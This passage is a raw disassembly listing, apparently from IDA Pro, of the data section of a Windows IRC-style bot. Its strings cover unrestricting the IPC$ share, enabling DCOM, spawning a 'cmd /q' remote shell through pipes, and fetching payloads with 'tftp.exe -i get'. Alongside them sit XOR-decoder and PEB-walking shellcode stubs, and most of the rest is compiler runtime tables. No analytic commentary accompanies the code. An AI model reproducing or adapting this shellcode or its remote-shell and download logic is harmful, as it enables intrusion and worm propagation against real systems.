0BBh ; ╩ db 0BBh, 2, 20h aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0 align 10h unk_433790 db 2 ; DATA XREF: sub_4162AC:loc_4163D3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0 align 4 unk_4337DC db 2 ; DATA XREF: sub_4162AC:loc_4163B5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0 unk_433820 db 2 ; DATA XREF: sub_4162AC+102o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0 dword_43386C dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_4162AC:loc_416319o dd 2202967h, 2002BBBBh, 4F434420h, 6E65204Dh, 656C6261h dd 2E64h unk_433898 db 2 ; DATA XREF: sub_4162AC+66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aEnableDcomFail db ' Enable DCOM failed.',0 align 4 word_4338CC dw 59h ; DATA XREF: sub_4162AC+38r align 10h dword_4338D0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4165C6+DEo dd 2029671Fh, 2BBBB02h aWaitformultipl db ' WaitForMultipleObjects error: <%d>.',0 align 4 dword_433914 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4165C6+59o ; sub_4165C6+8Bo dd 2029671Fh, 2BBBB02h aFailedToCrea_0 db ' Failed to create ReadShell session thread, error: <%d>.',0 align 4 dword_43396C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416717+AFo dd 2029671Fh, 2BBBB02h aFailedToExecut db ' Failed to execute shell.',0 align 4 dword_4339A4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416717+7Eo dd 2029671Fh, 2BBBB02h aFailedToCrea_1 db ' Failed to create shell stdin pipe, error: <%d>.',0 align 4 dword_4339F4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416717+5Co dd 2029671Fh, 2BBBB02h aFailedToCrea_2 db ' Failed to create shell stdout pipe, error: <%d>.',0 align 4 dword_433A44 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416810+C3o dd 2029671Fh, 2BBBB02h aFailedToExec_0 db ' Failed to execute shell, error: <%d>.',0 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_416810+8Co align 10h dword_433A90 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4168E9+A1o dd 2029671Fh, 2BBBB02h aSessionreadshe db ' SessionReadShellThread exited, error: <%ld>.',0 align 4 loc_433ADC: ; DATA XREF: sub_416C55+C4o jmp short loc_433AE0 ; --------------------------------------------------------------------------- loc_433ADE: ; CODE XREF: ___:loc_433AE0p jmp short loc_433AE5 ; --------------------------------------------------------------------------- loc_433AE0: ; CODE XREF: ___:loc_433ADCj call loc_433ADE loc_433AE5: ; CODE XREF: ___:loc_433ADEj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_433AEA dw 0FFFFh ; DATA XREF: sub_416C55+CCw db 80h, 73h, 0Eh byte_433AEF db 0FFh ; DATA XREF: sub_416C55+D3w dd 0F9E243h ; --------------------------------------------------------------------------- loc_433AF4: ; DATA XREF: sub_416C55+A2o jmp short loc_433AF8 ; --------------------------------------------------------------------------- loc_433AF6: ; CODE XREF: ___:loc_433AF8p jmp short loc_433AFD ; --------------------------------------------------------------------------- loc_433AF8: ; CODE XREF: ___:loc_433AF4j call loc_433AF6 loc_433AFD: ; CODE XREF: ___:loc_433AF6j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_433B01 db 0FFh ; DATA XREF: sub_416C55+AAw dw 7380h db 0Ch byte_433B05 db 0FFh ; DATA XREF: sub_416C55+B0w dw 0E243h dd 0F9h dword_433B0C dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_416ADE+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_433B70 dd 12h ; DATA XREF: sub_416ADE+3Dw aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_416ADE+79o aJ db 'j',0 db 0E8h dword_433B89 dd 17h ; DATA XREF: sub_416ADE+4Dw ; --------------------------------------------------------------------------- jnz short near ptr byte_433B90 retn ; --------------------------------------------------------------------------- byte_433B90 db 0E8h ; CODE XREF: ___:00433B8Dj dword_433B91 dd 1 ; DATA XREF: sub_416ADE+45w byte_433B95 db 0, 6Ah, 0 ; DATA XREF: sub_416ADE+C2o dd 7E8h db 0, 0Fh, 84h dword_433B9F dd 0FFFFFFEDh ; DATA XREF: sub_416ADE+5Dw ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 10h aThreadList db '-[Thread List]-',0 aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_416FEA+51o aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416FEA+35o dword_433C20 dd 29E2C0h ; DATA XREF: sub_417302+4w sub_41730Cr ... align 10h dword_433C30 dd 173Fh ; DATA XREF: sub_417CA4+Dr dd 9875h, 9873h off_433C3C dd offset sub_417D73 ; DATA XREF: ___:00419AB8r dd offset nullsub_2 dd offset nullsub_2 dword_433C48 dd 1B3Fh ; DATA XREF: sub_417DEB+Dr dword_433C4C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41826D+2o ; sub_418276+2o off_433C60 dd offset sub_419AF6 ; DATA XREF: sub_419CDA+1Cr dword_433C64 dd 2 ; DATA XREF: sub_41F84C+Er ; sub_41F885+46r ... off_433C68 dd offset aNull_0 ; DATA XREF: sub_419E38:loc_41A19Cr ; sub_419E38+457r ; "(null)" off_433C6C dd offset aNull ; DATA XREF: sub_419E38+259r ; "(null)" off_433C70 dd offset word_433C7A ; DATA XREF: sub_417794+23r ; sub_417794:loc_4177F5r ... off_433C74 dd offset word_433C7A ; DATA XREF: sub_422EB1+18r db 2 dup(0) word_433C7A dw 20h ; DATA XREF: sub_42102E+18r ; ___:off_433C70o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_433E7C dd 1 ; DATA XREF: sub_417794:loc_41779Cr ; sub_417794:loc_4177E0r ... byte_433E80 db 2Eh ; DATA XREF: sub_41C86F:loc_41C8AFr ; sub_41C8C9+4r ... align 4 dd 1, 10h, 0 off_433E90 dd offset off_433E90 ; DATA XREF: sub_41B888+Do ; sub_41B888+69o ... off_433E94 dd offset off_433E90 ; DATA XREF: sub_41B888:loc_41B908r ; sub_41B888+89w ... dd offset dword_433EA8 dd offset dword_433EA8 dword_433EA0 dd 0FFFFFFFFh ; DATA XREF: sub_41B888r ; sub_41B9CC:loc_41BA19w dd 0FFFFFFFFh dword_433EA8 dd 0F0h, 0F1h, 4E6h dup(0) ; DATA XREF: ___:00433E98o ; ___:00433E9Co db 0 byte_435249 db 3 dup(0) ; DATA XREF: ___:off_4274DCo dd 319h dup(0) off_435EB0 dd offset off_433E90 ; DATA XREF: sub_41B9CC+15r ; sub_41B9CC+20w ... dword_435EB4 dd 1E0h ; DATA XREF: sub_417BC7:loc_417C03r ; sub_41944F+185r ... dword_435EB8 dd 14h ; DATA XREF: sub_41C5B8+2o off_435EBC dd offset aExp ; DATA XREF: sub_41C5B8:loc_41C5D5r ; "exp" dd 1Dh, 42480Ch, 1Ah, 424808h, 1Bh, 424800h, 1Fh, 4247F8h dd 13h, 4247F0h, 21h, 4247E8h, 0Eh, 4247E0h, 0Dh, 4247D8h dd 0Fh, 4247D0h, 10h, 4247C8h, 5, 4247C0h, 1Eh, 4247BCh dd 12h, 4247B8h, 20h, 4247B4h, 0Ch, 4247ACh, 0Bh, 4247A4h dd 15h, 42479Ch, 1Ch, 424794h, 19h, 42478Ch, 11h, 424784h dd 18h, 42477Ch, 16h, 424774h, 17h, 42476Ch, 22h, 424768h dd 23h, 424764h, 24h, 424760h dbl_435F90 dq 1.797693134862316e308 ; DATA XREF: sub_41C2F3+B7r ; sub_41C2F3:loc_41C3DAr ... dd 0 dd 0FFF80000h dbl_435FA0 dq 1.797693134862316e308 ; DATA XREF: sub_41C2F3+92r ; sub_41C2F3:loc_41C3B2r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_435FB8 dt 2.3562723457267347066e313 ; DATA XREF: sub_41C7A0+Dr ; sub_41C7A0+1Fr align 4 tbyte_435FC4 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41C7A0+31r align 10h off_435FD0 dd offset sub_41CC34 ; DATA XREF: sub_417D8B+Fw ; sub_419E38+3AAr off_435FD4 dd offset sub_41C8C9 ; DATA XREF: sub_417D8B+5w ; sub_419E38+3E2r off_435FD8 dd offset sub_41C92F ; DATA XREF: sub_417D8B+14w ; sub_41D797+430r off_435FDC dd offset sub_41C86F ; DATA XREF: sub_417D8B+1Ew ; sub_419E38+3CBr off_435FE0 dd offset sub_41C917 ; DATA XREF: sub_417D8B+28w off_435FE4 dd offset sub_41CC34 ; DATA XREF: sub_417D8B+32w dd offset sub_42086E align 10h dd offset sub_41D4FC off_435FF4 dd offset sub_41D4FC ; DATA XREF: sub_41D552+29r dword_435FF8 dd 0D2D0920h, 5Dh ; DATA XREF: sub_41D797:loc_41DCFEo dword_436000 dd 5Dh, 0 ; DATA XREF: sub_41D797:loc_41DBEEo byte_436008 db 1 ; DATA XREF: sub_41E92D+E1r db 2, 4, 8 align 10h dword_436010 dd 3A4h ; DATA XREF: sub_41E92D+2Fo dword_436014 dd 82798260h, 21h, 0 ; DATA XREF: sub_41E92D+11Dr dword_436020 dd 0DFA6h ; DATA XREF: sub_41E92D+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_436100 dd 1 ; DATA XREF: sub_41E92D+3Co ; sub_41EF44+Co dword_436104 dd 16h ; DATA XREF: sub_41EF44:loc_41EF79r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_436268 dd 0C0000005h ; DATA XREF: sub_41EF44+19o ; sub_41F0EC+Ar ... dword_43626C dd 0Bh ; DATA XREF: sub_421D69+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_4362E0 dd 3 ; DATA XREF: ___:0041F003r ; sub_421C3C+C8r dword_4362E4 dd 7 ; DATA XREF: ___:0041F009r ; sub_421C3C+CDr dword_4362E8 dd 0Ah ; DATA XREF: sub_41F0EC+4r ; sub_421D69+4r dword_4362EC dd 8Ch ; DATA XREF: ___:0041F02Dr ; ___:0041F03Aw ... dword_4362F0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_419D23:loc_419DE0o ; sub_41E248:loc_41E2C9o dword_4362F8 dd 2 ; DATA XREF: sub_41F885+Eo ; sub_41F885+28r off_4362FC dd offset aR6002FloatingP ; DATA XREF: sub_41F885+FCr ; sub_41F885+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 424B2Ch, 9, 424B00h, 0Ah, 424ADCh, 10h, 424AB0h dd 11h, 424A80h, 12h, 424A5Ch, 13h, 424A30h, 18h, 4249F8h dd 19h, 4249D0h, 1Ah, 424998h, 1Bh, 424960h, 1Ch, 424938h dd 78h, 424928h, 79h, 424918h, 7Ah, 424908h, 0FCh, 42A3B0h dd 0FFh, 4248F8h off_436388 dd offset dword_4CDCC0 ; DATA XREF: sub_41F885+1Bo ; sub_41FA42+55o align 10h dd offset dword_4CDCC0 dd 101h dword_436398 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41FA42+72o dd 1000h, 0 dword_4363A8 dd 3 dup(0) ; DATA XREF: sub_419D23+50o ; sub_41A8A2+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_4363C8 dd 3 dup(0) ; DATA XREF: sub_419D23+58o ; sub_41A8A2:loc_41A8C0o dd 2, 0FFFFFFFFh, 7 dup(0) dword_4363F8 dd 84h dup(0) ; DATA XREF: sub_41FA42+9Bo dword_436608 dd 2694h ; DATA XREF: sub_41BF55+3r ; sub_41BFA8+46r ... align 10h dword_436610 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_42064Eo dword_436628 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_420664o dword_436640 dd 7080h ; DATA XREF: sub_41D609+76r ; sub_42094E+5Ew ... dword_436644 dd 1 ; DATA XREF: sub_41D609+98r ; sub_42094E+8Bw ... dword_436648 dd 0FFFFF1F0h ; DATA XREF: sub_41D609:loc_41D6BBr ; sub_42094E+94w ... off_43664C dd offset dword_545350 ; DATA XREF: ___:off_4366CCo dd 0Fh dup(0) off_43668C dd offset dword_544450 ; DATA XREF: ___:off_4366D0o dd 0Fh dup(0) off_4366CC dd offset off_43664C ; DATA XREF: sub_42094E+BAr ; sub_42094E+D9r ... off_4366D0 dd offset off_43668C ; DATA XREF: sub_42094E+F4r ; sub_42094E+11Br ... align 8 dword_4366D8 dd 0FFFFFFFFh ; DATA XREF: sub_42094E+1Dw ; sub_420BAC+1Er ... dword_4366DC dd 0 ; DATA XREF: sub_420BAC:loc_420CE0r ; sub_420D58+BFw dword_4366E0 dd 0 ; DATA XREF: sub_420BAC+192r ; sub_420D58+E0w align 8 dword_4366E8 dd 0FFFFFFFFh ; DATA XREF: sub_42094E+17w ; sub_420BAC+26r ... dword_4366EC dd 0 ; DATA XREF: sub_420BAC+13Ar ; sub_420D58+EAw ... dword_4366F0 dd 0 ; DATA XREF: sub_420BAC+1A1r ; sub_420D58+23r ... dword_4366F4 dd 0FFFFFFFFh ; DATA XREF: sub_420D58+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_436724 dd 16Dh ; DATA XREF: sub_41D609+2Ar ; sub_420D58+2Er ... dword_436728 dd 0FFFFFFFFh ; DATA XREF: sub_420D58:loc_420DE4r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_436760 dd 2 dup(0) ; DATA XREF: sub_4220C1+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_4368C0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_4220C1+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_436A1C dd offset off_424D00 ; DATA XREF: ___:00424EDCo ; ___:00424FC8o dd 0 a_?avexception@ db '.?AVexception@@',0 off_436A34 dd offset off_424D00 ; DATA XREF: ___:off_424D90o ; ___:00424DD0o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_436A54 dd offset off_424D00 ; DATA XREF: ___:off_424DD8o ; ___:00424E1Co ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_436A74 dd offset off_424D00 ; DATA XREF: ___:off_424E24o ; ___:00424E68o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 8 off_436A98 dd offset off_424D00 ; DATA XREF: ___:off_424E70o ; ___:00424EACo align 10h a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42086E align 8 byte_436AB8 db 0 ; DATA XREF: sub_40144A+1D3w ; sub_40144A+2D2o align 2 word_436ABA dw 0 ; DATA XREF: sub_40144A+1E3w word_436ABC dw 0 ; DATA XREF: sub_40144A+1E9w word_436ABE dw 0 ; DATA XREF: sub_40144A+1F0w byte_436AC0 db 0 ; DATA XREF: sub_40144A+1F7w byte_436AC1 db 0 ; DATA XREF: sub_40144A+1FEw word_436AC2 dw 0 ; DATA XREF: sub_40144A+204w dword_436AC4 dd 0 ; DATA XREF: sub_40144A+234w ; sub_40144A+250w dword_436AC8 dd 0 ; DATA XREF: sub_40144A+258w byte_436ACC db 0 ; DATA XREF: sub_40144A+26Aw byte_436ACD db 0 ; DATA XREF: sub_40144A+27Dw word_436ACE dw 0 ; DATA XREF: sub_40144A+295w word_436AD0 dw 0 ; DATA XREF: sub_40144A+2A4w word_436AD2 dw 0 ; DATA XREF: sub_40144A+29Cw dword_436AD4 dd 101h dup(0) ; DATA XREF: sub_40144A+2B9o dword_436ED8 dd 0 ; DATA XREF: sub_4029E9+9Eo byte_436EDC db 0 ; DATA XREF: sub_4029E9+36r ; sub_402ACC+37r ... align 10h dword_436EE0 dd 0 ; DATA XREF: sub_4030D1+10w ; sub_4030E8+30r ... dd 2 dup(0) dword_436EEC dd 2 dup(0) ; DATA XREF: sub_403EBA+68o dword_436EF4 dd 0 ; DATA XREF: sub_40395A+13o ; sub_40EE72+610Do ... dword_436EF8 dd 0 ; DATA XREF: sub_404853+8w ; ___:00404C22o align 10h dword_436F00 dd 2 dup(0) ; DATA XREF: ___:00404B58o dword_436F08 dd 0 ; DATA XREF: sub_4059DB+2Aw ; sub_4059DB+51r ... dword_436F0C dd 0 ; DATA XREF: sub_4030E8+AEr ; ___:004042D4r ... dd 2 dup(0) dword_436F18 dd 0 ; DATA XREF: sub_4071DB+18r ; sub_40762E+92w ... dword_436F1C dd 0 ; DATA XREF: sub_407767+4Dr ; sub_40797F+D9w ... dd 7FEh dup(0) dword_438F18 dd 6 dup(0) ; DATA XREF: sub_407767+D2o ; sub_407767+13Bo ... dword_438F30 dd 0 ; DATA XREF: sub_407252+82w ; sub_407252+102o dword_438F34 dd 41h dup(0) ; DATA XREF: sub_407252+41o dword_439038 dd 41h dup(0) ; DATA XREF: sub_407252+63o dword_43913C dd 0 ; DATA XREF: sub_407252+F8w ; sub_407252+114r dword_439140 dd 0 ; DATA XREF: sub_407252+52w dword_439144 dd 0 ; DATA XREF: sub_407252+4Dw ; sub_407252+CFr dword_439148 dd 20h dup(0) ; DATA XREF: sub_407252+9Ao ; sub_407252+BAo dword_4391C8 dd 0 ; DATA XREF: sub_407252+8Fw dword_4391CC dd 0 ; DATA XREF: sub_407252+A7w ; sub_407252+C7w dword_4391D0 dd 0 ; DATA XREF: sub_407252:loc_40737Cr align 8 dword_4391D8 dd 0 ; DATA XREF: sub_407252+2D5w ; sub_407252+32Eo dword_4391DC dd 0A2h dup(0) ; DATA XREF: sub_407252+2C3o dword_439464 dd 41h dup(0) ; DATA XREF: sub_407252+28Do dword_439568 dd 0 ; DATA XREF: sub_407252+2BAw ; sub_407252+2E1r align 10h dword_439570 dd 0 ; DATA XREF: sub_407252+324w ; sub_407252+340r dword_439574 dd 0 ; DATA XREF: sub_407252+2E7w dword_439578 dd 0 ; DATA XREF: sub_407252+2F4w dword_43957C dd 0 ; DATA XREF: sub_407252+2B4w dd 0 dword_439584 dd 0 ; DATA XREF: sub_407252:loc_4075A8r dword_439588 dd 0 ; DATA XREF: sub_407252+1A1w ; sub_407252+221o dword_43958C dd 41h dup(0) ; DATA XREF: sub_407252+163o dword_439690 dd 41h dup(0) ; DATA XREF: sub_407252+182o dword_439794 dd 0 ; DATA XREF: sub_407252+217w ; sub_407252+233r dword_439798 dd 0 ; DATA XREF: sub_407252+171w dword_43979C dd 0 ; DATA XREF: sub_407252+1EEr dword_4397A0 dd 20h dup(0) ; DATA XREF: sub_407252+1B9o ; sub_407252+1D9o dword_439820 dd 0 ; DATA XREF: sub_407252+1AEw dword_439824 dd 0 ; DATA XREF: sub_407252+1C6w ; sub_407252+1E6w dword_439828 dd 0 ; DATA XREF: sub_407252:loc_40749Cr align 10h dword_439830 dd 0 ; DATA XREF: sub_4087EE+Fr ; sub_4089E7+12r align 8 dword_439838 dd 80h dup(0) ; DATA XREF: sub_409706+41o dword_439A38 dd 200h dup(0) ; DATA XREF: sub_409037+C7o ; sub_409392+DDo ... dword_43A238 dd 200h dup(0) ; DATA XREF: sub_409037+D6o ; sub_409392+F4o ... dword_43AA38 dd 0 ; DATA XREF: sub_409037+86w ; sub_409209+94r dword_43AA3C dd 0 ; DATA XREF: sub_409037+A7w ; sub_40966F+55r ... dword_43AA40 dd 0 ; DATA XREF: sub_409037+A0w ; sub_409209+D6r ... dword_43AA44 dd 0 ; DATA XREF: sub_409037+79w ; sub_409209+35r ... dword_43AA48 dd 80h dup(0) ; DATA XREF: sub_40966F+5Eo dword_43AC48 dd 0 ; DATA XREF: sub_409037+93w ; sub_409209+A2r align 10h dword_43AC50 dd 0 ; DATA XREF: sub_409037+E7o ; sub_409037+103r ... dword_43AC54 dd 0 ; DATA XREF: sub_409392+17Bw ; sub_409539+107w dword_43AC58 dd 0 ; DATA XREF: sub_409392+180w ; sub_409539+10Dw ... dword_43AC5C dd 0 ; DATA XREF: sub_409392+159w ; sub_40966F+4Fr dword_43AC60 dd 0 ; DATA XREF: sub_4085B3+210r ; sub_4085B3+21Ar ... dword_43AC64 dd 0 ; DATA XREF: sub_40981F+65w ; sub_41518A+F5r dword_43AC68 dd 0 ; DATA XREF: sub_40981F+7EDw ; sub_40981F+862r ... dword_43AC6C dd 0 ; DATA XREF: sub_40981F+9BAw ; sub_40981F+A18r ... dword_43AC70 dd 0 ; DATA XREF: sub_40981F+96Cw ; sub_40981F+9E8r ... dword_43AC74 dd 0 ; DATA XREF: sub_4085B3+D1r ; sub_40981F+46Fw ... dword_43AC78 dd 0 ; DATA XREF: sub_4023A7+ECr ; sub_4023A7+109r ... dword_43AC7C dd 0 ; DATA XREF: sub_40981F+9ADw ; sub_40981F+A10r ... dword_43AC80 dd 0 ; DATA XREF: sub_40981F+354w ; sub_40981F+3A9r ... dword_43AC84 dd 0 ; DATA XREF: sub_40981F+3F1w ; sub_40B8D8+11Er dword_43AC88 dd 0 ; DATA XREF: sub_40981F+361w ; sub_40981F+3B1r ... dword_43AC8C dd 0 ; DATA XREF: sub_40981F+3A2w ; sub_40DCE6+ADr dword_43AC90 dd 0 ; DATA XREF: sub_405AF2+115r ; sub_4084B3+7Dr ... dword_43AC94 dd 0 ; DATA XREF: sub_40981F+72w ; sub_40981F+D2r ... dword_43AC98 dd 0 ; DATA XREF: sub_40981F+95Fw ; sub_40981F+9DBr ... dword_43AC9C dd 0 ; DATA XREF: sub_40981F+388w ; sub_40981F+3C9r ... dword_43ACA0 dd 0 ; DATA XREF: sub_40981F+83Bw ; sub_40981F+88Er ... dword_43ACA4 dd 0 ; DATA XREF: sub_408C26+58r ; sub_40981F+2A5w ... dword_43ACA8 dd 0 ; DATA XREF: sub_40981F+82Ew ; sub_40981F+886r ... dword_43ACAC dd 0 ; DATA XREF: sub_40981F+B3w dword_43ACB0 dd 0 ; DATA XREF: sub_40981F+848w ; sub_40981F+896r ... dword_43ACB4 dd 0 ; DATA XREF: sub_407BDE+7Er ; sub_40981F+52Fw ... dword_43ACB8 dd 0 ; DATA XREF: sub_40981F+58w ; sub_40981F+CAr ... dword_43ACBC dd 0 ; DATA XREF: sub_40981F+916w ; sub_40AF86+11Ar dword_43ACC0 dd 0 ; DATA XREF: sub_40981F+A66w ; sub_40981F+A6Dr ... dword_43ACC4 dd 0 ; DATA XREF: sub_40981F+A6w ; sub_40981F+F2r dword_43ACC8 dd 0 ; DATA XREF: sub_4085B3+119r ; sub_40981F+462w ... dword_43ACCC dd 0 ; DATA XREF: 